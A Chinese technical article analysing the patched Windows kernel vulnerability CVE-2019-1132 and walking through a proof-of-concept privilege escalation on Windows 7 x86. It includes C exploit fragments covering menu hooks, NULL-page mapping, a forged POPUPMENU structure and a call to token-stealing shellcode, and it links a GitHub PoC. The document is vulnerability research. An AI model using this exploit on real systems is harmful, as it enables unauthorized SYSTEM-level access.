CVE–2019-1132漏洞修复后仍可被利用

CVE–2019-1132是Windows kernel中的一个空指针引用漏洞。空指针引用漏洞已经消失多年了,但仍然被用于恶意软件攻击中。本文介绍CVE-2019-1132漏洞的技术细节,以及PoC代码。

简介

该漏洞是win32k.sys驱动中的空指针引用,会导致Windows 7和Windows Server 2008系统中的权限提升。微软已于2019年7月发布漏洞补丁。本文将对漏洞进行分析并创建了Windows 7 x86环境+6月份修复补丁的PoC。

漏洞概述

该来的位于 win32k!xxxMNOpenHierarchy 函数中,因为该函数没有检查指向 tag POPUPMENU->ppopupmenuRoot 的指针是否为空。该域可以被不同的操作访问,如果攻击者可以将该域设置为 NULL ,就可以引发空指针引用。

为了利用该漏洞,攻击者需要以特定方式来映射该null页,然后成功进行权限提升。

为了将 ppopupmenuRoot 设置为 NULL ,首先要释放该域指向的 root popupmenu 菜单。研究人员首先打开 root popupmenu 的一个sub-menu, sub-menu 会在kernel模式下调用 win32k!xxxMNOpenHierarchy ,该调用会创建第二个 sub-menu 。创建第二个 popupmenu 时, root menusub-menuppopupmenuRoot 域会含有 NULL 。当 win32k!HMAssignmentLock 函数尝试访问该域时,会执行一个空指针引用操作,导致BSOD(Windows蓝屏)。

漏洞触发

为了触发该漏洞,研究人员使用了ESET博客中的方法。总结如下:

1.首先创建一个窗口和3个menu对象,然后将meau项合并。

/* Creating the menu */
 for (int i = 0; i < 3; i++)
 hMenuList[i] = CreateMenu();

/* Appending the menus along with the item */
 for (int i = 0; i < 3; i++)
 {
 AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
 }
 AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");

/* Creating a main window class */
 xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
 hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
 WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
 WS_VISIBLE,
 GetModuleHandleA(NULL));
 printf("Handle of the mainWindow : 0x%08Xn", (unsigned int)hWindowMain);
 ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);

2.在 WH_CALLWNDPROCEVENT_SYSTEM_MENUPOPUPSTART 上安装hook。

/* Hooking the WH_CALLWNDPROC function */
 SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());

/* Hooking the trackpopupmenuEx WINAPI call */
 HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
 GetCurrentProcessId(), GetCurrentThreadId(), 0);

3.用 TrackPopupMenuEx 函数来展示 root popup menu 。当 TrackPopupMenuEx 被调用时,会调用 win32k!xxxTrackPopupMenuEx 函数来展示菜单。然后会通过 EVENT_SYSTEM_MENUPOPUPSTART 类型的事件来通知用户。

/* Setting the root popup menu to null */
printf("Setting the root popup menu to nulln");
release = 0;
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

4.这会触发事件hook函数 xxWindowEventProc 。通过发送 MN_OPENHIERARCHY 消息,它最终会调用函数 win32k!xxxMNOpenHierarchy

static
VOID
CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    UNREFERENCED_PARAMETER(hWinEventHook);
    UNREFERENCED_PARAMETER(event);
    UNREFERENCED_PARAMETER(idObject);
    UNREFERENCED_PARAMETER(idChild);
    UNREFERENCED_PARAMETER(idEventThread);
    UNREFERENCED_PARAMETER(dwmsEventTime);

    bEnterEvent = TRUE;
    if (iCount < ARRAYSIZE(hwndMenuList))
    {
        hwndMenuList[iCount] = hwnd;
        iCount++;
    }
    SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
    SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
    PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}

5.当函数 win32k!xxxMNOpenHierarchy 被调用后,会调用 win32k!xxxCreateWindowEx 函数来创建另一个 popupmenu 对象。在调用 win32k!xxxCreateWindowEx 函数期间, WM_NCCREATE 消息会被发送给用户,可以在 WH_CALLWNDPROC hook 函数中看到,比如 xxWindowHookProc

6.在 xxWindowHookProc 函数中,研究人员会通过检查 root menu 对象的 window handle 来检查是否创建 rootpopup menu 对象,并验证下一个 popup menu 对象window handle是否为 NULL 。研究人员还确认了该消息是否为 WM_NCCREATE

static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

    if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
    {
        printf("Sending the MN_CANCELMENUS messagen");
        SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
        bEnterEvent = FALSE;
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

然后发送 WM_CANCELMENUSroot popupmenu 对象。

最终会调用 win32k!xxxMNCancel ,并设置 root popupmenufDestroyed 位。然后调用 win32k!xxxMNCloseHierarchy 关系root popupmenu对象的栈中的 sub-menu

因为sub-menu还没有被创建,因此函数会 win32k!xxxMNCloseHierarchy 跳过子menu对象,也不会设置 fDestroyed 位,当 sub-menu 存在时会破坏root popupmenu对象。

现在 tagPOPUPMENU->ppopupmenuRoot 被设置为 NULL ,因为 sub-menuroot popup menu 被破坏了,如截图所示。

Ppopupmenu设置为NULL

漏洞利用

此时, ppopupmenuRoot 会指向NULL。为了从NULL页触发内存访问,研究人员发送 MN_BUTTONDOWN 消息到sub-menu对象。研究人员最开始尝试利用ESET建议的方法来触发该漏洞,但是通过发送 MN_BUTTONDOWN 消息可以调用 win32k!xxxMNOpenHierarchy 函数。

还有另一种方法来调用 win32k!xxxMNOpenHierarchy 函数,那就是通过sub-menu作为根(root)的 TrackPopupMenuEx 。所以研究人员使用 TrackPopupMenuEx 来调用 win32k!xxxMNOpenHierarchy 函数,并最终访问了NULL页面。

访问NULL Page

可以看到访问了位置 0x0000001c ,该位置指向的是释放的 root popup menu 对象的 tagWND 对象。

然后该地址被发送给 win32k!HMAssignmentLock 函数。

ESET博客中提到, bServerSideWindowProc 位是在函数 win32k!HMDestroyedUnlockedObject 中设置的。但是研究人员尝试后还是无法设置攻击窗口的位。因此研究人员使用 clockObj 指令递减来设置 bServerSideWindowProc 位。

下面介绍下漏洞利用的步骤:

1.首先创建一个作为攻击窗口的窗口。

/* Creating the hunt window class */
    xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
    hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
        WS_EX_LEFT,
        WS_OVERLAPPEDWINDOW,
        GetModuleHandleA(NULL));
    printf("Handle of the huntWindow : 0x%08Xn", (unsigned int)hWindowHunt);

2.然后使用 NtAllocateVirtualMemory 来在NULL页面分配内存。

/* Allocating the memory at NULL page */
    *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
    if (NtAllocateVirtualMemory == NULL)
        return 1;

    if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
        &MemAddr,
        0,
        &MemSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || MemAddr != NULL)
    {
        printf("[-]Memory alloc failed!n");
        return 1;
    }
    ZeroMemory(MemAddr, MemSize);

3.然后使用 HMValidateHandle 函数技术就可以写了攻击窗口的 tagWND 对象的地址。

/* Getting the tagWND of the hWindowHunt */
    PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
    printf("Address of the win32k!tagWND of hWindowHunt : 0x%08Xn", (unsigned int)head->deskhead.pSelf);

4.研究人员在NULL页面伪造了一个假的 popupmenu 对象来满足设置攻击窗口的 bServerSideWindowProc 位的条件。

/* Creating a fake POPUPMENU structure */
    DWORD dwPopupFake[0x100] = { 0 };
    dwPopupFake[0x0] = (DWORD)0x1; //->flags
    dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
    dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
    dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
    dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
    dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
    dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
    dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup
    dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot
    dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
    dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem
    dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
    dwPopupFake[0xC] = (DWORD)0;

/* Copying it to the NULL page */
    RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);

win32k!HMAssignmentLock 函数( 0x0000001c )访问的地址指向的是伪造的 popupmenu 对象的 spwndActivePopup 。然后研究人员将伪造的 popupmenu 对象的 spwndActivePopup 域设置为指向地址 tagWND + 0x12

这是因为在 [eax + 4]clockObj 值的指令, bServerSideWindowProc 位在 tagWND 对象的第 18 位。为了成功设置该位, (eax + 4) 必须指向 tagWND 对象+ 0x16

5.现在就可以访问映射到NULL页面的域,并验证攻击窗口的 bServerSideWindowProc 位是否设置。

设置bServerSideWindowProc位

6.可以看出设置了 bServerSideWindowProc 位。然后可以发送消息到攻击窗口,然后会被 xxMainWindowProc 处理。然后检查cs寄存器。如果cs寄存器等于 0x1b ,而且处于用户模式,就会失败否则就调用shellcode。

Shellcode执行后,就成功了:

static
LRESULT
WINAPI
xxMainWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == 0x1234)
    {
        WORD um = 0;
        __asm
        {
            // Grab the value of the CS register and
            // save it into the variable UM.
            //int 3
            mov ax, cs
            mov um, ax
        }
        // If UM is 0x1B, this function is executing in usermode
        // code and something went wrong. Therefore output a message that
        // the exploit didn't succeed and bail.
        if (um == 0x1b)
        {
            // USER MODE
            printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.rn");
            ExitProcess(-1); // Bail as if this code is hit either the target isn't 
                             // vulnerable or something is wrong with the exploit.
        }
        else
        {
            success = TRUE; // Set the success flag to indicate the sprayCallback()
                            // window procedure is running as SYSTEM.
            Shellcode(); // Call the Shellcode() function to perform the token stealing and
                         // to remove the Job object on the Chrome renderer process.
        }
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}

获取 NT AUTHORITY/SYSTEM 权限

漏洞利用代码已经在安装了6月份补丁的Windows 7 x86环境中进行了测试,代码参见github: https://github.com/Vlad-tri/CVE-2019-1132

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章